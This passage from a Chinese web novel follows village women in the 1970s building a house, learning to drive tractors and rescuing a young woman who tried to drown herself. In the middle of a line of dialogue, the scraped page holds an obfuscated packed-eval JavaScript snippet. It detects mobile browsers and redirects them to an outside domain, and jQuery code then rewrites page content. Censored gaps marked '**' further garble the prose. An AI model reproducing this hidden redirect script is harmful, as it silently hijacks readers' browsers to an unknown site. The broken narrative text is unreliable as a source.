金队长冲上去扶起孙秀芬,她掐着孙秀芬的人中呼喊:“孙大娘,你把眼睛睁开啊!你怎么还晕过去了。你儿媳妇对你们家不离不弃多么的感人肺腑,你再高兴也要控制好情绪,多照顾自己的身体啊。”
“我高兴、我高兴的要**”孙秀芬翻着白眼,嘴巴不停地抖。她想骂赵小杏,赵小杏是打算把他们全家都作死吗?
可她又不敢真骂赵小杏,怕赵小杏要真的不离婚,不给他们好果子吃。
她怒火攻心,憋在心里,脸涨的通红。
王干事出门给她打了水,递给她说:“谁家摊上这么好的儿媳妇做梦都要笑醒,东河村都知道赵小杏同志是个卖力干活的人,只要她在,你们家就还有希望!而且她还报名准备争取拖拉机手的工作,你要多给她信心,别她还在前面冲刺,你们家人在后面闹死闹活的。”
“她还要当拖拉机手?”
孙秀芬一口老血喷了出来,她急剧的喘息,最终两行老泪流了出来:“婆家是真的管不住她了,她野了,以后——”
赵小杏一动不动地坐在炕上说:“以后我会好好伺候你们的,绝对比从前更上心。连着小梅离开的份,我都算上。”
青梅抿着唇勾了勾。
孙秀芬吐完血,脸上涨红下去一些,总算能自己靠着墙坐着。她无力地说:“好,好啊!”
青梅从她身上瞟到李先进身上,她也不说话就冷眼看着。
李先进哪里还像从前动不动就对赵小杏拳脚相加的酒鬼,他心疼孙秀芬吐血,恨自己不能动,一边流泪一边捶自己的腿。
王干事怕赵小杏不好想,拉着她想做做思想工作。
赵小杏跟她到院子外面说话,王干事劝道:“我跟你老实说,这个家你还是离的好。别人都是劝和不全分,我不这样,我觉得你能过的更好。他们是什么样的人家咱们村里都知道,你何必把自己的下半生都搭在里面呢?”
赵小杏感激她的善良,她还以为王干事会让她在这个家里继续生活。
有不少做妇女工作的人都是这样,只要不离婚,哪怕妇女在那个家里过的猪狗不如,他们都是看不见的。
“谢谢你,王干事。你说的话我会考虑。”赵小杏面对干部又露出老实巴交的真面目,低下头说:“我需要时间好好想想。”
王干事知道赵小杏虽然没文化,但是个明事理的,拉着她的手说:“要是有想不明白的可以随时过去找我。他家要是再跟你闹死闹活,你也来找我。我会让金队长在大会上批评他们。”
农村人都要脸面,一大把年纪若是被单独拎出来挨批评,那是几十年的老脸都丢尽了。
“不会的,我会跟他们好好沟通。赵小杏腼腆地说:“我还有小梅呢。
王干事笑着说:“就是有她我才放心,她年纪比咱们小,但是主意正,你跟她商量一点问题没有。
她们在外头说着话,屋里头传来孙秀芬的喊闹声。
她在屋里头非要出来给赵小杏下跪,金队长好说歹说拦着呢。
赵小杏望着布满繁星的天,想想从前这样的日子里自己都在干什么。
挨打还是饿肚子呢?
若是跪一跪,从前的恩怨可以一笔勾销,也可以不挨打不饿肚子,她早就给孙秀芬和李先进磕一百个头了。
没用的。
先受着,不着急。
赵小杏站在院子里,王干事怕她做傻事就在一边陪着。
青梅从屋里出来,看到有个人影鬼鬼祟祟地从赵小杏身后大门口跑过去。
青梅喊道:“谁在哪里?
王干事和赵小杏异口同声:“有人?
青梅追过去看,居然发现是陈巧香。陈巧香穿着老人家才会穿的灰土布的衣服,落荒而逃。
她化成灰青梅都认得。
“她刚才在听你们的谈话?青梅跟赵小杏和王干事说:“你们说什么了?
王干事回忆说:“也没什么重要的话,就是让赵小杏同志想开点,能离开这个家最好,离不开也要放宽心做好自己的事。
赵小杏回头看了眼没看到陈巧香,撇撇嘴说:“无所谓,我也不怕被人知道。
青梅若有所思地点头说:“我们都注意点,小心她狗急跳墙做坏事。
赵小杏听青梅的话,皱着眉头又往后面看了看。
跑远的陈巧香捂着胸口,找到一个柴火垛蹲在旁边。
她难以隐藏心中的震撼,赵小杏居然能把婆婆一家拿捏成这副样子。
她简直惊呆了。
婆婆居然可以向儿媳妇下跪。
她最近无家可归,在知青们的屋子打地铺睡的。
三月的天,地上还是寒凉。这也就算了,那帮女知青对她也是鼻子不是鼻子,眼睛不是眼睛。她心比身体更加凄凉。
这段时间家中出事,她头发大把大把的掉,早就没有当初意气风发的娇模样。
东河村所有人一夜之间换了副面孔,虽然不至于对她喊打喊杀,那也是将她极度边缘化,遇上她都是一副憎
恶的样子。
只有一个人在这个时候对她伸出援手。
那就是黄文弼。
她原本很介意黄文弼追求过青梅,而且还是求而不得,被青梅狠狠地拒绝。
她是个骄傲的人,无论如何都没想过自己会选择黄文弼,一个青梅都看不上的人。
可这些天吃的穿的都是黄文弼从家里偷偷拿的,就连她身上穿着的衣服也是黄文弼的妈穿着不要的。
黄文弼知道她无家可归,想要跟她结婚,但是有个条件不给彩礼。
她跟黄文弼去见过一次他娘,**姿态摆的很高,根本不想让她进家门。
虽然后来想想是要给她下马威,但她总不想自己嫁进去以后,为了有个屋檐给婆家做牛做马。
直到她今天看到赵小杏和李家人的相处。
原来真的可以把婆家拿捏住。
她心中燃起一股热切的火焰。她爸前些天已经被**,她妈被送去云南**。
她当务之急就是要找个能容身的地方。
她没有去处,亲朋好友都远着她。开不了介绍信,只能在东河村打转。东河村原先不如她家的人,也不愿意接触她。从前追求过她的男同志,见到她躲得远远的。
只有黄文弼,对她嘘寒问暖。
陈巧香扶着地坐了下来,她双手抱着膝盖,不想让自己流离失所,以后在村子里流浪。
就这样吧,进去了再跟她斗。
自己年轻身体也不错,就不信熬不过婆婆。
陈巧香下定决心,将自己的未来送到黄文弼手中。
******
青砖院子正在建设当中,图纸是顾轻舟前些天连夜画出来的。空间利用的非常合理,是个正房三间,东西还各有两间偏房,前后各有院子的好宅子。
比青梅想的还要大,前院有八拢地可以种菜。后院分出鸡棚、猪圈还有拉毛水泥地用来家庭晾晒。
她托王洋大哥的熟人帮着从外面采购了果树,有灯笼柿子树、有美早樱桃树、有黄鸭梨树、还有离核的黄杏和油桃树。
赵小杏担心一股脑种下去种不活,青梅为了这个,花了两元钱请老果农过来植树,听了半天的课。
东河村紧邻大坝,打猪草方便,随手挖的野菜也能喂鸡。要是猪肉和鸡蛋也能自给自足,那日子真是太痛快了。
赵小杏昨天出了一口恶气,早上起来容光焕发。吃了玉米饽饽,就跟青梅相约到县里看家具。
青梅也打算趁着季节好多买些菜籽。哪
怕房子还没盖好,也要先赶着春季把菜种下。过了季节再种,多数是种不好的。
赵小杏想抓小鸡崽,青梅原本打算晚点抓,赵小杏等不及,青梅想想也就听她的。
“早几天抓,咱们就早几天吃到嘴。”赵小杏拍拍兜说:“小鸡崽我来出钱,鸡食也由我来管。”
青梅自然答应下来,赵小杏要给家里做贡献,拦着反而生分。主要钱的事情小,鸡食每天都要喂有点麻烦。赵小杏愿意承担,那最好不过了。
她们走到一半,路上遇到砖村的拖拉机,正好把她们带到县里。
俩人一路上都在观察别人怎么驾驶的,路上还问了问题。
开拖拉机的是花儿的二表哥,对她们很客气,还说要学拖拉机直接到砖村找他好使!
这下赵小杏悬着的心总算落在肚子里。
要说拖拉机可不是一般人能碰的,就怕把哪里碰坏,拖拉机坏了得影响春耕秋收。再说他们砖村还得靠拖拉机送货,特别小心珍爱的使用拖拉机。
这也是看着花儿的面子,愿意教她们。还夸奖她们是新时代的女同志,敢于争先。
“两种型号的拖拉机驾驶起来大差不差。”
花儿二表哥都四十多岁了,拍了拍拖拉机方向盘说:“不过我也不敢让你们随便上手,今天先教你们这么多,等你们回去消化消化,再来找我。”
青梅和赵小杏自然是一百个愿意。
下了拖拉机,青梅打算回去就给赵小杏培训驾驶常识和拖拉机理论,待会就到书店看看有没有拖拉机的理论知识。
她们俩于是在大王山县的县城里好好逛了一天。
鸡崽、菜籽还有拖拉机的书都买到了,就是没看到好的木匠做出来的家具。
“回头再问问。”青梅抱着书,提着小鸡崽沿路走。小鸡崽沿路叽叽喳喳,有活力还热闹,偶尔还会遇上人过来问卖不卖。
赵小杏左手抓着芝麻烧饼,右手抓着烤地瓜在吃。
青梅见她饿的狼吞虎咽,失笑道:“你别光吃这个,我记得前面街上有家卖糯米烧麦的,里头加了肉沫,特别好吃,我去给你买一份?”
言外之意想让赵小杏吃点好吃的,她那么喜欢吃,难得到县城还吃烧饼和烤地瓜,有点让人心疼。
赵小杏却不要:“我知道那家烧麦好吃,不过一份四个就要八角钱。咱们一天下来也才赚八个工分。干一天就为了四个烧麦太不划算,还是忍一忍不要买了。”
青梅想了想也是这个道理。总而言之买的的确
有些贵,还不如回家她做给赵小杏吃。
想到这里,青梅就在县里供销社买了些糯米。装糯米的是搭袋,就跟电影里**同志搭在肩膀上的粮袋一样。
俩人一人搭着一个搭袋,买好了东西以后往东河村回去。
东河村后面的河叫做大王河,县也因此得名。她们所在的东河村处于大王河的东面,偏下游。
她们俩往东河村走,远远的看到大坝那边围着好多人。
赵小杏比较乐观,拉着青梅说:“走,咱们过去看看,是不是有人网到大鱼了?
青梅也想过去瞅瞅,她的小渔网每次只能网到小手指一样的小鱼小虾,特别羡慕能抓到大鱼的人。
主要是她一手炖鱼的技术,没有发挥的空间,多遗憾啊。
她们提着东西往那边走,快走到了发现不对劲。
小孩子们表现的有些害怕,抱着大人的腿偷偷往前面看。有的年轻的女同志捂着眼睛侧过头,也没有看过去。
她们在人群当中发现从外地回来的赵五荷,她蹲在地上,顾不上行李袋扔在脚边,面前躺着一个湿漉漉的姑娘,看样子是刚从河里捞上来的。
青梅看赵小杏一眼,前些天赵小杏说大河里总会飘下来几个人,今天这不就有了。
青梅想锤她。
“快没气了!谁过来看看!救命啊!赵五荷急得满头大汗,青梅赶紧把东西塞给赵小杏,想也没想,挤了过去开始做心肺复苏。
“大家让开点缝隙,让空气流通。
她一边压,一边观察女同志的情况。对方满脸苍白没有一丝血色,按压半天没有反应。
人群里有人小声嘀咕:“怕不是已经**吧
当即有人吼道:“不会说话就闭嘴!没看青梅同志正在救人吗?
“对啊,这是有希望才会救,救了一定能活!
赵五荷去医院见过这样的手法,赶紧让乡亲们速速让开,自己也听青梅的话,帮女同志把领口的扣子解开。
青梅能感受到对方细微的呼吸,最后她干脆掐着对方的鼻子,按压数次后,进行了人工呼吸。
轮流来回了数次,现场陷入了一片寂静,大家此时内心只有一个想法——醒过来吧。
也许是朴实善良的心意感动上天,大约五分钟以后,青梅感觉掌心下的心脏骤然不规律的跳动了几下。
昏迷中的女同志突然“哇了一声,把肺腔里的水全部呕了出来,死死地抓着青梅的胳膊急促喘息。
小孩子们
手舞足蹈地喊到:“醒啦淹死的人醒了!”
赵五荷激动地重重拍了拍她的后背。
青梅忍着酸疼的手臂扶着溺水的女同志半坐着支撑她的身体。
赵小杏挤进来从兜里掏出新做好的碎花手帕给女同志擦脸擤鼻涕。
虽然心疼赵小杏也知道孰轻孰重。
擦过脸青梅蹲在那人边上才发现原来还是个熟人——小燕。
这不就是从周武地窖里救出来的两个姑娘之一么?
另一个花儿跟青梅处成了朋友这个小燕就上次过来谢过青梅以后快一个月没见怎么还跳大河了?
青梅心中隐隐有个答案不过在其他人的询问下她闭紧嘴巴选择让小燕自己说。
小燕见到是青梅再一次救了自己哇地一声哭了。她浑身湿漉漉地抱着青梅一边哭一边抖。
赵五荷从包里掏出春秋衫给她披上忍不住说:“多大的事你也不能拿自己的生命开玩笑啊。”
赵小杏也怒其不争地说:“谁对你不好你还回去就是了
小燕枕着青梅的纤细的肩膀仿佛感受到一股温柔的力量。青梅轻轻拍着她的后背又给赵小杏使眼色让这位祖宗少说两句好不容易救起来了别扭头又蹦进去了。
金队长到镇上开会去了王干事赶过来旁边还跟着医务所的陈大夫传说中兽医世家第四代传人头几年积极响应号召开始弃兽治人。
“没事了没事了啊都回家吃饭去都几点了还在大坝晃悠啊。”
王干事哄着里三层外三层的人离开又问:“到底怎么回事是谁捞得人啊?”
方大哥在大坝下面幽幽地开口说:“是我。”
青梅伸着脖子探出去看到方大哥陷在春泥里拔不出腿。也不知道在下面站了多久裤腿上面的泥巴干成灰了。
他捞起小燕以后大坝上的人七手八脚把小燕托上去了同心协力的忘记他.
他就站在泥里瞅着上面的人慌手慌脚的救人自己尝试着爬了两次没爬上去。要不是王干事问了这句让大家想起来还有他他估计得半夜爬出来。
人活过来一切都好说陈大夫忍着笑跟别人一起把方大哥拽了上来看他半个身子全是黑泥。
青梅看到他的裤鼻认出来是方大嫂新给他做的裤子这下可好刚穿上就成这副样子回去还不知道怎么交差。
方大哥想的很开:“人
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15456323|169527||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
没事就好大不了裤子我自己洗反正我家
的也是我洗,哈哈。
王干事让小燕跟陈大夫去大队医务所检查,小燕死死抱住青梅的胳膊,仿佛抱着救命稻草,怎么说也不放开。
青梅感受到她的需求,于是征询赵五荷的同意:“咱们能不能收留她一晚上?
赵五荷很干脆地说:“不用你跟我开口,只要姑娘好好的,住几晚上都行。
王干事本来还想问问小燕到底为什么跳河,最好通知她的村子叫她爹娘过来,看小燕这副样子应该什么也不想说,只好让她跟着青梅她们回去了。
赵五荷大包小包的拿着行李往回走,赵小杏提着喧闹的小鸡崽跟在后面。
青梅扶着小燕慢慢吞吞地跟着她们的脚步。
路过青梅家原先破瓦房的位置,小燕瞅了眼,虚弱地说:“要盖好了,真好啊。你一个女人家,还能自己张罗盖房子。
赵小杏在前面回头说:“盖房子算什么,我们还报名拖拉机手的选拔比赛呢!
“女的还能开拖拉机?小燕咳了几声,不可置信地说:“女的.咋能开拖拉机呢?
赵小杏说:“有什么不能开的?难道开拖拉机的男人各个都是三头六臂?他们能行,女的肯定更行!
这话还是青梅跟她说的,当时她也跟小燕的反应差不多。如今她思想转变了,这样跟小燕说出来,理直气壮。
小燕把崇拜的目光落在赵小杏身上,赵小杏似乎感觉到目光的温度,走在前面更加昂首挺胸。
“你们东河村真的不一样。小燕喃喃地说:“跟我们的村子简直不像一个世界。
青梅扶着她,深深地看了她一眼说:“没有不一样的世界,只有不一样的人。自己愿意改变,世界也就改变了。
自己愿意改变,世界也就改变.
小燕默默地把这句话在心里复述了一遍。
真的会这样吗?
到了顾家大院,赵小杏把提着的小鸡崽放到顾家鸡圈里借宿。好家伙,赵五荷以为没有几只,一放出来傻眼,足足一百只。
青梅在边上淡淡地说:“我拦过她,没拦住。攒的钱全买鸡崽了。
赵五荷说:“这不是钱的事,这、这该怎么喂啊。
俩人包括小燕齐刷刷地看向赵小杏,赵小杏轻松地说:“我现在就去挖菜,我会为我的小鸡崽负责。
行吧。
赵五荷也就放心了。
赵小杏换了衣服背着箩筐就走了,青梅默默地找来米糠糊糊就着点烂菜叶搅着给小鸡崽垫吧肚
子。
最近村里奇怪糠糊糊还紧俏起来。集体猪都快不够吃了。
小鸡崽一放出来就热闹在鸡圈里扑腾翅膀。赵五荷帮着打了点水给它们喝然后叫小燕上炕休息。
青梅则跟她挤在灶坑前面烧水。
“这姑娘你认得啊?”赵五荷问:“她怎么就跟小鸡崽见到鸡妈妈抱着你不撒手啊。”
青梅跟她说:“你知道花儿吧她跟花儿一起被周武抓去的。她家里有些问题我不好跟你细讲也不知道是不是因为这个。”
赵五荷不知道小燕的婚事因为被周武抓而告吹还被家里亲人怀疑贞操问题她只以为是小年轻谈对象出问题了于是说:“这丫头真傻哪有过不去的呢。”
青梅叹口气说:“我们站在旁观者的角度许多事情觉得并不可怕也许真正面对深渊的并不是我们吧。”
赵五荷想了想给青梅竖起大拇指:“我明白了我也不是说风凉话的意思我想让她坚强。”
“我不会乱想你。”青梅往屋里看了眼里面一点动静也没有。
赵五荷给青梅一个眼色让青梅进屋劝小燕她自己则继续烧水。
青梅站在门口看着坐着炕沿的小燕小脸讪讪的低着头摆弄着手指头。担心弄脏炕沿她小心地在屁股下面垫了个抹布。
青梅走过去小燕抬头看着她然后又把头垂下来。
她最近瘦了不少脸颊凹进去
青梅出去拿了碗进来里面装了两勺红糖提起暖壶给她倒了红糖水递过去:“你要是不想说我也不问你你先暖暖身子等着水烧好洗个热水澡。今天早点休息。”
小燕说:“我真的不想活了。”
青梅说:“你就当自己**现在是重新活的小燕。”
小燕怔愣了一下不知道还有这样的操作。
她缓了几秒说:“你们真的要去开拖拉机?”
青梅起身把今天背的小布包打开翻出《拖拉机驾驶原理与实践知识》给她看:“不骗你我跟杏儿都不喜欢下地干活所以选择去开拖拉机。不过这事还没定下来过段时间要投票。”
小燕低声说:“我相信你们肯定可以。”
青梅笑了笑说:“我也是信心满满。”
小燕又问:“原来自己不喜欢的可以不去做。”
青梅说:“这是比较理想的状态。”
小燕抿着唇一小口一小口喝着红糖水:“我还是不想说。”
青梅笑道:“没人逼你说。只是明天大队部肯定要联系你家人来接你,你想好怎么办了吗?”
小燕还是抿着唇,又把头低了低:“我绝对不会跟他们回去。”
青梅走过去,小燕轻轻环住青梅的腰说:“要是没救我,是不是就没有痛苦了。”
青梅低下头,叹口气说:“别让我们后悔救你。”
等到烧好水,赵五荷催着小燕去洗个热水澡。
她去洗澡的时候,赵五荷神神秘秘地从行李袋里拿出一本相册,招呼青梅说:“过来,给你看好东西。”
青梅走过去,坐在她身边看到厚厚的相册,感兴趣地翻开。
里面全是顾轻舟的照片,从小到大,什么形象都有。
映入眼帘这张稚嫩的少男面孔,也就十二三岁的样子,他在京市部队大院里,后面背景是红墙,他穿着赵五荷给他做的军装,对着镜头不苟言笑。
“他那时候天天要养黑背狼狗,我跟他爸都不同意,你看小小年纪就知道耍脸子。”
说着赵五荷翻过一页,抽出一张顾轻舟在斯大林广场拍照的照片:“这是他在苏联留学的时候拍的照片,一身中山装老气横秋的。对了,给你看他入伍的照片。”
赵五荷又把相册翻了一页,指着一张顾轻舟穿着军装胸前戴着大红花的照片。
他对着镜头难得笑了起来,背景是火车站绿皮车。应该是觉得马上就要当兵很激动,手里提着行李卷捏的紧紧地。有种又是期待又是激动的情绪夹杂其中。
青梅认真端详着略带稚气的俊美脸孔,发觉他在部队变化真的很大,眼神沉稳有光,坚定的信念在他心中扎下根。
身材上也从少年的身材成长为男人的精悍体魄,穿衣显瘦,脱衣有肉,一点没错。
剩下的几张照片,他脸上没有再多的情绪。
“这是在阿图什,从吉尔吉斯做任务回来,转道又去哈萨克斯坦,回来立了个人一等功的照片。这年他才二十一。”
“这是他在福建参加海陆空三军联合演习,得了个全军神**的称号。拿的就是照片上这把**,就是他的宝贝疙瘩。”
“这是他前年在京区面对军区大**,成为014部队团级领导的授衔照片。”
赵五荷对顾轻舟的光荣历史了如指掌,轻轻抚摸着照片上英姿勃发的儿子,最后手落在一张仅有红色五角星的空白照片上。
“具体不能多说,那次任务他以为自己回不来了。就把他随身携带的红色五角星拍了张